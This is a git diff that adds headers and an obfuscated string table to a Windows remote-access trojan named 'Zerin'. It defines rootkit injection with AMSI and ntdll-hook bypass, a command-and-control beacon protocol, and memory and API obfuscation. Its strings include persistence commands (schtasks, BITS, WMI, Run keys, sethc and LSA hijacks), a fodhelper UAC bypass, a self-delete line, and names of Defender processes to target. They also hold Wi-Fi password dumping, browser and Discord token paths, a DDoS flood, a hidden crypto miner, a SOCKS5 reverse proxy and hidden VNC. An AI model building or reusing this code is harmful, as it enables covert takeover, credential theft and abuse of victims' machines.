"cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \"%s\"" + +# ── Registry paths ─────────────────────────────────────────────────── +OBF_REG_CRYPTOGRAPHY, "SOFTWARE\\Microsoft\\Cryptography" +OBF_REG_PUTTY, "SOFTWARE\\SimonTatham\\PuTTY\\Sessions" +OBF_REG_CPU, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0" + +# ── System paths ───────────────────────────────────────────────────── +OBF_NTDLL_PATH, "C:\\Windows\\System32\\ntdll.dll" +OBF_HOSTS_PATH, "C:\\Windows\\System32\\drivers\\etc\\hosts" +OBF_SETHC_EXE, "sethc.exe" +OBF_FODHELPER_EXE, "fodhelper.exe" + +# ── Branding / class names ─────────────────────────────────────────── +OBF_CLIPMON_CLASS, "ZerinClipMon" +OBF_BLACK_CLASS, "ZerinBlack" +OBF_WEBCAM_CLASS, "ZerinWebcam" + +# ── Discord paths ──────────────────────────────────────────────────── +OBF_DISCORD_LDB, "discord\\Local Storage\\leveldb" +OBF_DISCORD_CANARY_LDB, "discordcanary\\Local Storage\\leveldb" +OBF_DISCORD_PTB_LDB, "discordptb\\Local Storage\\leveldb" + +# ── Browser exe paths (for VNC) ────────────────────────────────────── +OBF_BRAVE_EXE_PATH, "BraveSoftware\\Brave-Browser\\Application\\brave.exe" +OBF_CHROME_EXE_PATH, "Google\\Chrome\\Application\\chrome.exe" +OBF_EDGE_EXE_PATH, "Microsoft\\Edge\\Application\\msedge.exe" +OBF_FIREFOX_EXE_PATH, "Mozilla Firefox\\firefox.exe" + +# ── PowerShell / persistence command templates ────────────────────── +OBF_PS_PREFIX, "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " +OBF_PS_HIDDEN_PREFIX, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command " +OBF_SCHTASKS_FMT, "schtasks /Create /TN \"%s\" /TR \"\\\"%s\\\"\" /SC MINUTE /MO %s /F" +OBF_BITS_CHAIN_FMT, "cmd.exe /c bitsadmin /create \"%s\" && bitsadmin /addfile \"%s\" \"https://localhost/noexist\" \"%%TEMP%%\\zerin_bits.tmp\" && bitsadmin /SetNotifyCmdLine \"%s\" \"%s\" NUL && bitsadmin /SetMinRetryDelay \"%s\" 60 && bitsadmin /SetNoProgressTimeout \"%s\" 2592000 && bitsadmin /resume \"%s\"" +OBF_WMI_PS_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"" + +# ── AMSI / injection ─────────────────────────────────────────────── +OBF_AMSI_OPEN_SESSION, "AmsiOpenSession" +OBF_REFLECTIVE_DLL_MAIN, "ReflectiveDllMain" + +# ── Elevation moniker ───────────────────────────────────────────── +OBF_ELEVATION_MONIKER, "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" + +# ── DDoS status strings ─────────────────────────────────────────── +OBF_DDOS_STARTED_FMT, "DDoS flood started: %s %s | %d threads | %d seconds" +OBF_DDOS_ALREADY, "DDoS flood already running. Stop it first." +OBF_DDOS_STOPPED_FMT, "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s" +OBF_DDOS_NOT_RUNNING, "No DDoS flood is running" + +# ── Miner status strings ────────────────────────────────────────── +OBF_MINER_STARTED_FMT, "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d" +OBF_MINER_ALREADY, "Miner already running. Stop it first." +OBF_MINER_STOPPED_FMT, "Miner stopped (PID %lu)" +OBF_MINER_NOT_RUNNING, "No miner is running" +OBF_MINER_DIR, "Microsoft\\Runtime" +OBF_MINER_EXE, "svcruntime.exe" + +# ── SOCKS5 status strings ───────────────────────────────────────── +OBF_SOCKS5_STARTED, "SOCKS5 reverse proxy started" +OBF_SOCKS5_STOPPED, "SOCKS5 reverse proxy stopped" +OBF_SOCKS5_NOT_RUNNING, "SOCKS5 was not running" + +# ── UAC cleanup paths ───────────────────────────────────────────── +OBF_MS_SETTINGS_OPEN, "Software\\Classes\\ms-settings\\shell\\open" +OBF_MS_SETTINGS_SHELL, "Software\\Classes\\ms-settings\\shell" +OBF_MS_SETTINGS_ROOT, "Software\\Classes\\ms-settings" + +# ── hVNC / VNC status strings ────────────────────────────────────── +OBF_HVNC_STARTED, "hVNC streaming started (hidden desktop created)" +OBF_HVNC_STOPPED, "hVNC stopped (hidden desktop destroyed)" +OBF_HVNC_NOT_RUNNING, "hVNC was not running" +OBF_HVNC_NOT_ACTIVE, "hVNC session is not active" + +# ── Persistence cleanup (uninstall) ─────────────────────────────── +OBF_SCHTASKS_DELETE_FMT, "schtasks /Delete /TN \"%s\" /F" +OBF_BITSADMIN_CANCEL_FMT, "bitsadmin /cancel \"%s\"" +OBF_PS_WMIDELETE_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\"" + +# ── PowerShell encoded command formats ───────────────────────────── +OBF_PS_ENCODED_HIDDEN, "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s" +OBF_PS_ENCODED, "powershell -NoProfile -EncodedCommand %s" diff --git a/include/obf_strings_gen.h b/include/obf_strings_gen.h new file mode 100755 index 0000000..2627ff5 --- /dev/null +++ b/include/obf_strings_gen.h @@ -0,0 +1,132 @@ +// Auto-generated by generate_strings.py - DO NOT EDIT +// Regenerated with random key on every build for polymorphic output. +#ifndef OBF_STRINGS_GEN_H +#define OBF_STRINGS_GEN_H + +#include + +// String IDs +enum { + OBF_ZERIN_UPDATE = 0, // "Atow1LUpdate" (12 bytes) + OBF_ZERIN_SVC = 1, // "Atow1LSvc" (9 bytes) + OBF_ZERIN_MAINTENANCE = 2, // "Atow1LMaintenance" (17 bytes) + OBF_ZERIN_TRANSFER = 3, // "Atow1LTransfer" (14 bytes) + OBF_ZERIN_WMI = 4, // "Atow1LWMI" (9 bytes) + OBF_ZERIN_PORT = 5, // "Atow1LPort" (10 bytes) + OBF_ZERIN_UPDATE_EXE = 6, // "Atow1LUpdate.exe" (16 bytes) + OBF_ZERIN_EXE = 7, // "atow1L.exe" (10 bytes) + OBF_RUN_KEY_PATH = 8, // "Software\\Microsoft\\Windows\\CurrentVersion\\Run" (45 bytes) + OBF_SESSION_KEY_PATH = 9, // "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo" (62 bytes) + OBF_ENVIRONMENT = 10, // "Environment" (11 bytes) + OBF_DESKTOP_PATH = 11, // "Control Panel\\Desktop" (21 bytes) + OBF_SCRNSAVE = 12, // "SCRNSAVE.EXE" (12 bytes) + OBF_LOGON_SCRIPT = 13, // "UserInitMprLogonScript" (22 bytes) + OBF_MAINTENANCE_VAL = 14, // "Maintenance" (11 bytes) + OBF_SETHC_IFEO = 15, // "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" (83 bytes) + OBF_PRINT_MONITORS = 16, // "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors" (47 bytes) + OBF_LSA_PATH = 17, // "SYSTEM\\CurrentControlSet\\Control\\Lsa" (36 bytes) + OBF_SECURITY_PACKAGES = 18, // "Security Packages" (17 bytes) + OBF_COM_CLSID_PATH = 19, // "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32" (76 bytes) + OBF_SHM_NAME = 20, // "Local\\Atow1LRkShm" (17 bytes) + OBF_EVT_NAME = 21, // "Local\\Atow1LRkEvt" (17 bytes) + OBF_SERVICES_PATH = 22, // "SYSTEM\\CurrentControlSet\\Services" (33 bytes) + OBF_DEBUGGER = 23, // "Debugger" (8 bytes) + OBF_DRIVER = 24, // "Driver" (6 bytes) + OBF_THREADING_MODEL = 25, // "ThreadingModel" (14 bytes) + OBF_SCREEN_SAVE_ACTIVE = 26, // "ScreenSaveActive" (16 bytes) + OBF_SCREEN_SAVE_TIMEOUT = 27, // "ScreenSaveTimeOut" (17 bytes) + OBF_ZERIN_DISPLAY = 28, // "Atow1L Maintenance Service" (26 bytes) + OBF_CMD_EXE = 29, // "cmd.exe" (7 bytes) + OBF_NTDLL = 30, // "ntdll.dll" (9 bytes) + OBF_KERNEL32 = 31, // "kernel32.dll" (12 bytes) + OBF_ADVAPI32 = 32, // "advapi32.dll" (12 bytes) + OBF_WINHTTP = 33, // "winhttp.dll" (11 bytes) + OBF_POWERSHELL = 34, // "powershell.exe" (14 bytes) + OBF_PERSIST_MUTEX = 35, // "Local\\Atow1LPersistMtx" (22 bytes) + OBF_MS_SETTINGS_CMD = 36, // "Software\\Classes\\ms-settings\\shell\\open\\command" (47 bytes) + OBF_DELEGATE_EXECUTE = 37, // "DelegateExecute" (15 bytes) + OBF_NETAPI32 = 38, // "netapi32.dll" (12 bytes) + OBF_AMSI = 39, // "amsi.dll" (8 bytes) + OBF_MSMPENG = 40, // "MsMpEng.exe" (11 bytes) + OBF_MPCMDRUN = 41, // "MpCmdRun.exe" (12 bytes) + OBF_MSSENSE = 42, // "MsSense.exe" (11 bytes) + OBF_SECHEALTH = 43, // "SecurityHealthService.exe" (25 bytes) + OBF_SGRMBROKER = 44, // "SgrmBroker.exe" (14 bytes) + OBF_CHROME_USERDATA = 45, // "Google\\Chrome\\User Data" (23 bytes) + OBF_EDGE_USERDATA = 46, // "Microsoft\\Edge\\User Data" (24 bytes) + OBF_BRAVE_USERDATA = 47, // "BraveSoftware\\Brave-Browser\\User Data" (37 bytes) + OBF_OPERA_USERDATA = 48, // "Opera Software\\Opera Stable" (27 bytes) + OBF_VIVALDI_USERDATA = 49, // "Vivaldi\\User Data" (17 bytes) + OBF_FIREFOX_REG = 50, // "SOFTWARE\\Mozilla\\Mozilla Firefox" (32 bytes) + OBF_FIREFOX_REGMAIN = 51, // "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main" (40 bytes) + OBF_FIREFOX_X64 = 52, // "C:\\Program Files\\Mozilla Firefox" (32 bytes) + OBF_FIREFOX_X86 = 53, // "C:\\Program Files (x86)\\Mozilla Firefox" (38 bytes) + OBF_VERSION_DLL = 54, // "version.dll" (11 bytes) + OBF_DXGI_DLL = 55, // "dxgi.dll" (8 bytes) + OBF_D3D11_DLL = 56, // "d3d11.dll" (9 bytes) + OBF_RSTRTMGR_DLL = 57, // "rstrtmgr.dll" (12 bytes) + OBF_WMIC_AV = 58, // "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list" (100 bytes) + OBF_NETSH_PROFILES = 59, // "netsh wlan show profiles" (24 bytes) + OBF_NETSH_PROFILE_KEY = 60, // "netsh wlan show profile name=\\\"%s\\\" key=clear" (45 bytes) + OBF_IPCONFIG_FLUSH = 61, // "cmd.exe /c ipconfig /flushdns" (29 bytes) + OBF_SELF_DELETE = 62, // "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \\\"%s\\\"" (55 bytes) + OBF_REG_CRYPTOGRAPHY = 63, // "SOFTWARE\\Microsoft\\Cryptography" (31 bytes) + OBF_REG_PUTTY = 64, // "SOFTWARE\\SimonTatham\\PuTTY\\Sessions" (35 bytes) + OBF_REG_CPU = 65, // "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0" (46 bytes) + OBF_NTDLL_PATH = 66, // "C:\\Windows\\System32\\ntdll.dll" (29 bytes) + OBF_HOSTS_PATH = 67, // "C:\\Windows\\System32\\drivers\\etc\\hosts" (37 bytes) + OBF_SETHC_EXE = 68, // "sethc.exe" (9 bytes) + OBF_FODHELPER_EXE = 69, // "fodhelper.exe" (13 bytes) + OBF_CLIPMON_CLASS = 70, // "Atow1LClipMon" (13 bytes) + OBF_BLACK_CLASS = 71, // "Atow1LBlack" (11 bytes) + OBF_WEBCAM_CLASS = 72, // "Atow1LWebcam" (12 bytes) + OBF_DISCORD_LDB = 73, // "discord\\Local Storage\\leveldb" (29 bytes) + OBF_DISCORD_CANARY_LDB = 74, // "discordcanary\\Local Storage\\leveldb" (35 bytes) + OBF_DISCORD_PTB_LDB = 75, // "discordptb\\Local Storage\\leveldb" (32 bytes) + OBF_BRAVE_EXE_PATH = 76, // "BraveSoftware\\Brave-Browser\\Application\\brave.exe" (49 bytes) + OBF_CHROME_EXE_PATH = 77, // "Google\\Chrome\\Application\\chrome.exe" (36 bytes) + OBF_EDGE_EXE_PATH = 78, // "Microsoft\\Edge\\Application\\msedge.exe" (37 bytes) + OBF_FIREFOX_EXE_PATH = 79, // "Mozilla Firefox\\firefox.exe" (27 bytes) + OBF_PS_PREFIX = 80, // "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " (75 bytes) + OBF_PS_HIDDEN_PREFIX = 81, // "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command " (71 bytes) + OBF_SCHTASKS_FMT = 82, // "schtasks /Create /TN \\\"%s\\\" /TR \\\"\\\\\"%s\\\\\"\\\" /SC MINUTE /MO %s /F" (65 bytes) + OBF_BITS_CHAIN_FMT = 83, // "cmd.exe /c bitsadmin /create \\\"%s\\\" && bitsadmin /addfile \\\"%s\\\" \\\"https://localhost/noexist\\\" \\\"%%TEMP%%\\atow1L_bits.tmp\\\" && bitsadmin /SetNotifyCmdLine \\\"%s\\\" \\\"%s\\\" NUL && bitsadmin /SetMinRetryDelay \\\"%s\\\" 60 && bitsadmin /SetNoProgressTimeout \\\"%s\\\" 2592000 && bitsadmin /resume \\\"%s\\\"" (291 bytes) + OBF_WMI_PS_FMT = 84, // "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \\\"" (73 bytes) + OBF_AMSI_OPEN_SESSION = 85, // "AmsiOpenSession" (15 bytes) + OBF_REFLECTIVE_DLL_MAIN = 86, // "ReflectiveDllMain" (17 bytes) + OBF_ELEVATION_MONIKER = 87, // "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" (66 bytes) + OBF_DDOS_STARTED_FMT = 88, // "DDoS flood started: %s %s | %d threads | %d seconds" (51 bytes) + OBF_DDOS_ALREADY = 89, // "DDoS flood already running. Stop it first." (42 bytes) + OBF_DDOS_STOPPED_FMT = 90, // "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s" (82 bytes) + OBF_DDOS_NOT_RUNNING = 91, // "No DDoS flood is running" (24 bytes) + OBF_MINER_STARTED_FMT = 92, // "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d" (61 bytes) + OBF_MINER_ALREADY = 93, // "Miner already running. Stop it first." (37 bytes) + OBF_MINER_STOPPED_FMT = 94, // "Miner stopped (PID %lu)" (23 bytes) + OBF_MINER_NOT_RUNNING = 95, // "No miner is running" (19 bytes) + OBF_MINER_DIR = 96, // "Microsoft\\Runtime" (17 bytes) + OBF_MINER_EXE = 97, // "svcruntime.exe" (14 bytes) + OBF_SOCKS5_STARTED = 98, // "SOCKS5 reverse proxy started" (28 bytes) + OBF_SOCKS5_STOPPED = 99, // "SOCKS5 reverse proxy stopped" (28 bytes) + OBF_SOCKS5_NOT_RUNNING = 100, // "SOCKS5 was not running" (22 bytes) + OBF_MS_SETTINGS_OPEN = 101, // "Software\\Classes\\ms-settings\\shell\\open" (39 bytes) + OBF_MS_SETTINGS_SHELL = 102, // "Software\\Classes\\ms-settings\\shell" (34 bytes) + OBF_MS_SETTINGS_ROOT = 103, // "Software\\Classes\\ms-settings" (28 bytes) + OBF_HVNC_STARTED = 104, // "hVNC streaming started (hidden desktop created)" (47 bytes) + OBF_HVNC_STOPPED = 105, // "hVNC stopped (hidden desktop destroyed)" (39 bytes) + OBF_HVNC_NOT_RUNNING = 106, // "hVNC was not running" (20 bytes) + OBF_HVNC_NOT_ACTIVE = 107, // "hVNC session is not active" (26 bytes) + OBF_SCHTASKS_DELETE_FMT = 108, // "schtasks /Delete /TN \\\"%s\\\" /F" (30 bytes) + OBF_BITSADMIN_CANCEL_FMT = 109, // "bitsadmin /cancel \\\"%s\\\"" (24 bytes) + OBF_PS_WMIDELETE_FMT = 110, // "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \\\"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\\\"" (324 bytes) + OBF_PS_ENCODED_HIDDEN = 111, // "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s" (60 bytes) + OBF_PS_ENCODED = 112, // "powershell -NoProfile -EncodedCommand %s" (40 bytes) + OBF_STRING_COUNT = 113 +}; + +// Decrypt string into caller-provided buffer. Returns buf, or NULL on error. +char *obf_decrypt_to(int id, char *buf, size_t buf_size); + +// Wipe a decrypted buffer after use. +void obf_wipe(char *buf, size_t len); + +#endif // OBF_STRINGS_GEN_H diff --git a/include/platform.h b/include/platform.h new file mode 100755 index 0000000..77a219a --- /dev/null +++ b/include/platform.h @@ -0,0 +1,74 @@ +#ifndef ZERIN_PLATFORM_H +#define ZERIN_PLATFORM_H + +#include + +#ifdef _WIN32 +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "bcrypt.lib") +#pragma comment(lib, "ws2_32.lib") +#pragma comment(lib, "shlwapi.lib") +#pragma comment(lib, "iphlpapi.lib") + +// NT status +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +// Token integrity levels (guard against redefinition from winnt.h) +#ifndef SECURITY_MANDATORY_UNTRUSTED_RID +#define SECURITY_MANDATORY_UNTRUSTED_RID 0x0000 +#endif +#ifndef SECURITY_MANDATORY_LOW_RID +#define SECURITY_MANDATORY_LOW_RID 0x1000 +#endif +#ifndef SECURITY_MANDATORY_MEDIUM_RID +#define SECURITY_MANDATORY_MEDIUM_RID 0x2000 +#endif +#ifndef SECURITY_MANDATORY_HIGH_RID +#define SECURITY_MANDATORY_HIGH_RID 0x3000 +#endif +#ifndef SECURITY_MANDATORY_SYSTEM_RID +#define SECURITY_MANDATORY_SYSTEM_RID 0x4000 +#endif + +#else +// Non-Windows includes +#include +#include +#endif // _WIN32 + +// Cross-platform sleep (milliseconds) +static inline void platform_sleep_ms(uint32_t ms) { +#ifdef _WIN32 + Sleep(ms); +#else + usleep(ms * 1000); +#endif +} + +// Get current time as Unix timestamp +static inline int64_t platform_time_unix(void) { +#ifdef _WIN32 + FILETIME ft; + ULARGE_INTEGER uli; + GetSystemTimeAsFileTime(&ft); + uli.LowPart = ft.dwLowDateTime; + uli.HighPart = ft.dwHighDateTime; + // Convert from Windows epoch (1601) to Unix epoch (1970) + return (int64_t)((uli.QuadPart - 116444736000000000ULL) / 10000000ULL); +#else + return (int64_t)time(NULL); +#endif +} + +#endif // ZERIN_PLATFORM_H diff --git a/include/poly_config.h b/include/poly_config.h new file mode 100755 index 0000000..10d9be2 --- /dev/null +++ b/include/poly_config.h @@ -0,0 +1,8 @@ +// Auto-generated by generate_polymorphic.py - DO NOT EDIT +#ifndef POLY_CONFIG_H +#define POLY_CONFIG_H + +#define STR_KEY 0x8F +#define POLY_BUILD_SEED 0xC96ACEA1u + +#endif // POLY_CONFIG_H diff --git a/include/poly_hash.h b/include/poly_hash.h new file mode 100755 index 0000000..5de4b52 --- /dev/null +++ b/include/poly_hash.h @@ -0,0 +1,57 @@ +// Auto-generated by generate_polymorphic.py - DO NOT EDIT +// Algorithm: DJB2(init=5419,mult=33) +#ifndef POLY_HASH_H +#define POLY_HASH_H + +#include +#include + +// Hash function for narrow (char*) API names +static inline uint32_t hash_api(const char *name) { + uint32_t h = 5419u; + int c; + while ((c = *name++) != 0) + h = h * 33u + (uint32_t)c; + return h; +} + +// Hash function for wide (wchar_t*) module names, lowercased +static inline uint32_t hash_wide_lower(const wchar_t *name, size_t chars) { + uint32_t h = 5419u; + size_t i; + for (i = 0; i < chars; i++) { + wchar_t c = name[i]; + if (c == 0) break; + if (c >= L'A' && c <= L'Z') c += 32; + h = h * 33u + (uint32_t)c; + } + return h; +} + +// Pre-computed module name hashes (wide, lowercased) +#define HASH_NTDLL 0xbc6540d3 +#define HASH_KERNEL32 0x385c579b +#define HASH_ADVAPI32 0x2f3bf36f +#define HASH_USER32 0x262ebb99 + +// Pre-computed function name hashes (narrow) +#define HASH_NtAllocateVirtualMemory 0x1e3b68b2 +#define HASH_NtProtectVirtualMemory 0xc01ef36e +#define HASH_NtWriteVirtualMemory 0x9de0d6b8 +#define HASH_NtCreateThreadEx 0x9763ad56 +#define HASH_NtClose 0x9d53aca3 +#define HASH_NtQueryInformationProcess 0xcf5b9348 +#define HASH_NtFreeVirtualMemory 0x94eb8a4f +#define HASH_RtlGetVersion 0x082c3803 +#define HASH_NtQuerySystemInformation 0x79ebc5ce +#define HASH_VirtualAllocEx 0x3008a55a +#define HASH_WriteProcessMemory 0xaf8e166e +#define HASH_VirtualProtectEx 0xa46a1e50 +#define HASH_VirtualFreeEx 0x1548e9f1 +#define HASH_OpenProcess 0xb556da3c +#define HASH_VirtualAlloc 0x004778bd +#define HASH_VirtualFree 0xaaafab94 +#define HASH_VirtualProtect 0xc0ea3c33 +#define HASH_EtwEventWrite 0xf0315e08 + +#endif // POLY_HASH_H diff --git a/include/protocol.h b/include/protocol.h new file mode 100755 index 0000000..056fc92 --- /dev/null +++ b/include/protocol.h @@ -0,0 +1,145 @@ +#ifndef ZERIN_PROTOCOL_H +#define ZERIN_PROTOCOL_H + +#include +#include +#include + +// ============================================================================ +// Serialization buffer +// ============================================================================ +typedef struct { + uint8_t *data; + size_t len; + size_t cap; + size_t pos; // Read cursor +} buffer_t; + +buffer_t *buffer_new(size_t initial_cap); +void buffer_free(buffer_t *buf); +int buffer_write_u8(buffer_t *buf, uint8_t val); +int buffer_write_u32(buffer_t *buf, uint32_t val); +int buffer_write_u64(buffer_t *buf, uint64_t val); +int buffer_write_i64(buffer_t *buf, int64_t val); +int buffer_write_bytes(buffer_t *buf, const uint8_t *data, size_t len); +int buffer_write_string(buffer_t *buf, const char *str); + +int buffer_read_u8(buffer_t *buf, uint8_t *val); +int buffer_read_u32(buffer_t *buf, uint32_t *val); +int buffer_read_u64(buffer_t *buf, uint64_t *val); +int buffer_read_i64(buffer_t *buf, int64_t *val); +int buffer_read_bytes(buffer_t *buf, uint8_t **data, size_t *len); +int buffer_read_string(buffer_t *buf, char **str); + +// ============================================================================ +// CheckIn message +// ============================================================================ +typedef struct { + char agent_id[37]; + char hostname[256]; + char username[256]; + char domain[256]; + char internal_ip[64]; + uint32_t pid; + uint32_t ppid; + char os_version[256]; + char arch[8]; + char process_name[260]; + bool elevated; + uint32_t integrity_level; + uint32_t sleep_interval; + uint32_t jitter_percent; + int64_t kill_date; + char av_product[128]; +} checkin_t; + +int checkin_serialize(const checkin_t *ci, buffer_t *buf); +int checkin_deserialize(buffer_t *buf, checkin_t *ci); + +// ============================================================================ +// Envelope (wraps all beacon messages) +// ============================================================================ +typedef struct { + uint32_t message_type; + uint64_t sequence_number; + char agent_id[37]; + int64_t timestamp; + uint8_t *payload; + size_t payload_len; +} envelope_t; + +int envelope_serialize(const envelope_t *env, buffer_t *buf); +int envelope_deserialize(buffer_t *buf, envelope_t *env); + +// ============================================================================ +// Task +// ============================================================================ +#define TASK_MAX_ARGS 32 + +typedef struct { + char task_id[37]; + char command[64]; + char *args[TASK_MAX_ARGS]; + uint32_t num_args; + uint8_t *data; + size_t data_len; + uint32_t timeout; +} task_t; + +int task_deserialize(buffer_t *buf, task_t *task); +void task_free(task_t *task); + +// ============================================================================ +// TaskResult +// ============================================================================ +typedef struct { + char task_id[37]; + bool success; + char *output; + uint8_t *data; + size_t data_len; + int32_t error_code; + char *error_message; +} task_result_t; + +int task_result_serialize(const task_result_t *result, buffer_t *buf); +void task_result_free(task_result_t *result); + +// ============================================================================ +// TaskResponse (server → agent: list of tasks) +// ============================================================================ +typedef struct { + task_t *tasks; + uint32_t num_tasks; +} task_response_t; + +int task_response_deserialize(buffer_t *buf, task_response_t *resp); +void task_response_free(task_response_t *resp); + +// ============================================================================ +// Key Exchange wire format +// ============================================================================ +int protocol_build_key_exchange(const uint8_t pubkey_hash[32], + const uint8_t ephemeral_pub[32], + const uint8_t *encrypted_checkin, + size_t encrypted_len, + const uint8_t nonce[12], + uint8_t **out, size_t *out_len); + +int protocol_parse_key_exchange_response(const uint8_t *data, size_t data_len, + uint8_t **encrypted_payload, + size_t *encrypted_len, + uint8_t nonce[12]); + +// ============================================================================ +// Beacon wire format (encrypted envelope) +// ============================================================================ +int protocol_build_beacon(const uint8_t session_key[32], + const envelope_t *env, + uint8_t **out, size_t *out_len); + +int protocol_parse_beacon_response(const uint8_t session_key[32], + const uint8_t *data, size_t data_len, + envelope_t *env); + +#endif // ZERIN_PROTOCOL_H diff --git a/include/rootkit.h b/include/rootkit.h new file mode 100755 index 0000000..4178c6e --- /dev/null +++ b/include/rootkit.h @@ -0,0 +1,40 @@ +#ifndef ZERIN_ROOTKIT_H +#define ZERIN_ROOTKIT_H + +#include "config.h" +#include + +#ifdef _WIN32 + +// Initialize rootkit subsystems (unhook, AMSI bypass — no injection yet) +int rootkit_init(zerin_config_t *cfg); + +// Start injection (call AFTER first successful beacon) +int rootkit_start_injection(void); + +// Cleanup rootkit state +void rootkit_cleanup(void); + +// Individual subsystems +int rootkit_unhook_ntdll(void); +int rootkit_bypass_amsi(void); + +// Injection engine +int rootkit_inject_all(void); +int rootkit_inject_pid(uint32_t pid); +int rootkit_start_monitor(void); +void rootkit_stop_monitor(void); + +// Shared memory listener (NtResumeThread IPC — primary new-process mechanism) +int rootkit_start_shm_listener(void); +void rootkit_stop_shm_listener(void); + +// Status reporting +int rootkit_get_status(char *buf, size_t buf_size); + +// State tracking +extern volatile LONG g_rootkit_active; +extern volatile LONG g_rootkit_injected_count; + +#endif // _WIN32 +#endif // ZERIN_ROOTKIT_H diff --git a/include/sleep_obf.h b/include/sleep_obf.h new file mode 100755 index 0000000..3eb11b1 --- /dev/null +++ b/include/sleep_obf.h @@ -0,0 +1,14 @@ +#ifndef ZERIN_SLEEP_OBF_H +#define ZERIN_SLEEP_OBF_H + +#include + +// Obfuscated sleep: encrypts the agent's image in memory during the +// sleep interval using XOR with the provided key, then decrypts on wake. +// Falls back to a plain Sleep() if setup fails. +// +// ms — sleep duration in milliseconds +// key — 32-byte encryption key (typically the session key) +int sleep_obfuscated(uint32_t ms, const uint8_t *key); + +#endif // ZERIN_SLEEP_OBF_H diff --git a/include/stb_image_write.h b/include/stb_image_write.h new file mode 100755 index 0000000..e4b32ed --- /dev/null +++ b/include/stb_image_write.h @@ -0,0 +1,1724 @@ +/* stb_image_write - v1.16 - public domain - http://nothings.org/stb + writes out PNG/BMP/TGA/JPEG/HDR images to C stdio - Sean Barrett 2010-2015 + no warranty implied; use at your own risk + + Before #including, + + #define STB_IMAGE_WRITE_IMPLEMENTATION + + in the file that you want to have the implementation. + + Will probably not work correctly with strict-aliasing optimizations. + +ABOUT: + + This header file is a library for writing images to C stdio or a callback. + + The PNG output is not optimal; it is 20-50% larger than the file + written by a decent optimizing implementation; though providing a custom + zlib compress function (see STBIW_ZLIB_COMPRESS) can mitigate that. + This library is designed for source code compactness and simplicity, + not optimal image file size or run-time performance. + +BUILDING: + + You can #define STBIW_ASSERT(x) before the #include to avoid using assert.h. + You can #define STBIW_MALLOC(), STBIW_REALLOC(), and STBIW_FREE() to replace + malloc,realloc,free. + You can #define STBIW_MEMMOVE() to replace memmove() + You can #define STBIW_ZLIB_COMPRESS to use a custom zlib-style compress function + for PNG compression (instead of the builtin one), it must have the following signature: + unsigned char * my_compress(unsigned char *data, int data_len, int *out_len, int quality); + The returned data will be freed with STBIW_FREE() (free() by default), + so it must be heap allocated with STBIW_MALLOC() (malloc() by default), + +UNICODE: + + If compiling for Windows and you wish to use Unicode filenames, compile + with + #define STBIW_WINDOWS_UTF8 + and pass utf8-encoded filenames. Call stbiw_convert_wchar_to_utf8 to convert + Windows wchar_t filenames to utf8. + +USAGE: + + There are five functions, one for each image file format: + + int stbi_write_png(char const *filename, int w, int h, int comp, const void *data, int stride_in_bytes); + int stbi_write_bmp(char const *filename, int w, int h, int comp, const void *data); + int stbi_write_tga(char const *filename, int w, int h, int comp, const void *data); + int stbi_write_jpg(char const *filename, int w, int h, int comp, const void *data, int quality); + int stbi_write_hdr(char const *filename, int w, int h, int comp, const float *data); + + void stbi_flip_vertically_on_write(int flag); // flag is non-zero to flip data vertically + + There are also five equivalent functions that use an arbitrary write function. You are + expected to open/close your file-equivalent before and after calling these: + + int stbi_write_png_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const void *data, int stride_in_bytes); + int stbi_write_bmp_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const void *data); + int stbi_write_tga_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const void *data); + int stbi_write_hdr_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const float *data); + int stbi_write_jpg_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const void *data, int quality); + + where the callback is: + void stbi_write_func(void *context, void *data, int size); + + You can configure it with these global variables: + int stbi_write_tga_with_rle; // defaults to true; set to 0 to disable RLE + int stbi_write_png_compression_level; // defaults to 8; set to higher for more compression + int stbi_write_force_png_filter; // defaults to -1; set to 0..5 to force a filter mode + + + You can define STBI_WRITE_NO_STDIO to disable the file variant of these + functions, so the library will not use stdio.h at all. However, this will 